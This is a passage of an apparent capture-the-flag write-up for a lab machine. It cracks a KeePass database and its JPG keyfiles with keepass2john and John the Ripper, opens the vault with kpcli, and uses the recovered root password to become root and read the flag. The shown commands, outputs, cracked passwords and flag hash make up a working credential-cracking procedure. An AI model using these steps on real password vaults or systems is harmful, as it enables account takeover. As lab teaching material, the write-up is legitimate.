MyPasswords.kdbx 100% 2446 53.3KB/s 00:00
root@kali:~#
At first, we have to create the password hash of each JPG file with “keepass2john”.
root@kali:~# for i in * .JPG
> do
> keepass2john -k $i MyPasswords.kdbx >> hashes
> done
root@kali:~#
We can crack the hash with John the Ripper.
The obtained password is “bullshit”.
root@kali:~# john -w = /usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts ( KeePass [ SHA256 AES 32/64])
Cost 1 ( iteration count) is 60000 for all loaded hashes
Cost 2 ( version) is 2 for all loaded hashes
Cost 3 ( algorithm [ 0 = AES, 1 = TwoFish, 2 = ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit ( MyPasswords)
Now we found the password. Then, open the KeePass DB.
We can find the key by trying each key.
root@kali:~# apt-get install kpcli
---
root@kali:~# kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG
Please provide the master password: *************************
KeePass CLI ( kpcli) v3.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> ls
=== Groups ===
MyPasswords/
kpcli:/> cd MyPasswords/
kpcli:/MyPasswords> ls
=== Groups ===
eMail/
General/
Homebanking/
Internet/
Network/
Recycle Bin/
Windows/
=== Entries ===
0. Root password
kpcli:/MyPasswords> show 0 -f
Title: Root password
Uname: root
Pass: u3v2249dl9ptv465cogl3cnpo3fyhk
URL:
Notes:
kpcli:/MyPasswords>
We can use the obtained password to be the root user.
user@safe:~$ su
Password: # u3v2249dl9ptv465cogl3cnpo3fyhk
root@safe:/home/user# id
uid = 0( root) gid = 0( root) groups = 0( root)
root@safe:/home/user#
As always, “root.txt” is in the directory “/root”
root@safe:~# cat root.txt
d7af235eb1db9fa059d2b99a6d1d5453
root@safe:~#